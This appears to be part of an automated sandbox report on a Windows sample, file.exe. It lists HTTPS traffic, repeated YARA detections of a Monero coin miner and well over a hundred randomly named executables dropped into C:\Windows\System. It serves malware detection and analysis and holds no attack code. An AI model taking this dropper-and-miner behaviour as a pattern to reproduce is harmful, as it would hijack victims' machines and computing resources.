Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49821 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 38.2.xNhRSWh.exe.7ff699c10000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 17.2.MwFvbxc.exe.7ff7dc870000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 19.2.oxCQuSo.exe.7ff6c9f90000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 7.2.uxMRJKa.exe.7ff6bea80000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 13.2.bzSbRdi.exe.7ff7777f0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 39.2.jtnQpnb.exe.7ff7a86e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 25.2.VHwkuIa.exe.7ff781ee0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 30.2.FGSooXz.exe.7ff654030000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 12.2.imwRXsl.exe.7ff74df50000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 6.2.wHnuprt.exe.7ff7c3b50000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 14.2.Csmwgyb.exe.7ff7b8680000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 37.2.ZTSJHKb.exe.7ff725c00000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 5.2.ERbKWDm.exe.7ff67dbc0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 32.2.nWSykjl.exe.7ff77c770000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 40.2.hEUEsIC.exe.7ff61c860000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 9.2.wkazDeV.exe.7ff68b300000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 20.2.vyHGCnK.exe.7ff6acaf0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 41.2.UqXZtcb.exe.7ff7bbf70000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 24.2.eVVPPqR.exe.7ff6e04e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 4.2.xIpouRJ.exe.7ff6667f0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 26.2.WLWcTVM.exe.7ff6a8db0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 35.2.tyQdqmC.exe.7ff60fc20000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 11.2.wJNkgSa.exe.7ff700a70000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 31.2.mKdsHiQ.exe.7ff757760000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 15.2.defQfgC.exe.7ff6888b0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 10.2.VWrcuzM.exe.7ff748320000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 22.2.VFkciqc.exe.7ff602990000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 16.2.XZxtJFw.exe.7ff7a5920000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 27.2.WCbcoxD.exe.7ff7b66f0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 34.2.iHSYLud.exe.7ff7683d0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 29.2.fpHmIIc.exe.7ff6377f0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 28.2.QWtCxan.exe.7ff670a00000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 8.2.bJVoOik.exe.7ff6b3cd0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 18.2.hAOVVjq.exe.7ff77b680000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 36.2.sabRErB.exe.7ff795f20000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 33.2.LKurWpq.exe.7ff650b90000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 21.2.mbSqRHL.exe.7ff62c3e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 23.2.sdTevgk.exe.7ff601280000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xIpouRJ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ERbKWDm.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wHnuprt.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uxMRJKa.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bJVoOik.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wkazDeV.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VWrcuzM.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wJNkgSa.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\imwRXsl.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bzSbRdi.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\Csmwgyb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\defQfgC.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XZxtJFw.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\MwFvbxc.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hAOVVjq.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\oxCQuSo.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\vyHGCnK.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mbSqRHL.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VFkciqc.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sdTevgk.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eVVPPqR.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VHwkuIa.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WLWcTVM.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WCbcoxD.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\QWtCxan.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fpHmIIc.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FGSooXz.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mKdsHiQ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\nWSykjl.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LKurWpq.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\iHSYLud.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tyQdqmC.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sabRErB.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZTSJHKb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xNhRSWh.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jtnQpnb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hEUEsIC.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UqXZtcb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\dbgHMyC.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\dmPtXnK.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pnGqAlS.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LYzOvkf.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\qQyXqOp.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\SxjZpBy.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\QqSzknx.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YIjJOqk.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bymvMyH.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\lyMiIxb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\yuTigyc.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fWWVlTg.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\OpMgkKg.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mPNsbfH.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tJmWuwF.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\EDndQMl.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JKpmIVS.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jAqlPqL.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fXSZuyj.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DNhkeWm.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\RKUSbZV.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WdIXuil.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DTREvJC.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ltlcnHD.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rTpsbWr.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HHsWpNX.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\IofoOIp.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\iJpJhmt.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mByREeI.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\EkcZQPq.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\StIsyPE.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\zYyqoWF.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UQkDiSP.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YYCxOQh.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ccbrmxM.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\dMXkTWG.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\MydOwjq.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tzOEnrH.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\KVTiBjz.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uSdaSKW.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WOvgLKK.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DrKJjXc.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rgBmwKj.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ajEytdP.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VExclqz.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZohDODH.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hAjIjRa.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WZkiNdG.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\EzVUaNc.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\EENzfBP.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\Uvtpjkd.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rXBWFEL.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ihDRfqA.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ztQluWW.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bpCJdvZ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fyffsXe.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\cyvijMt.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BnLcQMe.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LOvnxUx.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wpjxcMS.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HnTfvAZ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ykZgpGK.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\usscfzm.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DbVBXPi.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fEOJwwW.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WTLAzgJ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BMxbfij.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wJZTVhW.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HeXCeXe.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\vUKZkjM.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\AXEGSHs.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YFzrUDj.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\nJFWveO.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jkErNHB.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\KEULPTl.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\MgoHIfZ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\nJZyUBH.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DCqXTox.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LTWTGcY.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BpqsHCR.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UExJWUr.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BwjWQVv.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\gKbbPbF.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WvowvSL.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\gAPrxpM.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pbwrbNh.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VdwdSnC.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ffPPQcz.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FGUHzJz.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eIthybV.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mtnXczE.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\nkFLDPI.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\glgdLrR.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\TBNKhIN.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uwKMlqy.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XqXHiyf.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sHbEZkY.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uaJCfvY.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\iEDLgeS.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ppfNNTX.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ssUJwoR.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wNVvJxX.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eQlnkhq.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rVmcjTa.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bFsdWPU.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YUQTINM.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\GmNUXAr.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sOpjlAo.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\vixYnHG.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PbUiiSM.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\CGpcHNw.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mEVTdIJ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\RcAqfwv.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fylerHE.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ABievJY.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pMaKiZu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sDLqeeh.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\MKAkyBP.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xAngvPh.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\yzVBTwc.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\lrIaMFU.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uHZGZjz.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JUxucoT.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JRnaUrS.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\CpMhLMx.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sFwDWFc.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eaXsKmO.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\CVYvaQs.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\cVJdttA.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\delwiax.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ASKjfZy.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ndpwHPZ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\dPvMBBP.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\cVpmxhg.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FgBtrMU.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\vKoIcLB.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wkIkkhX.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\TQUlNhY.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZDeifCM.exe	Jump to behavior
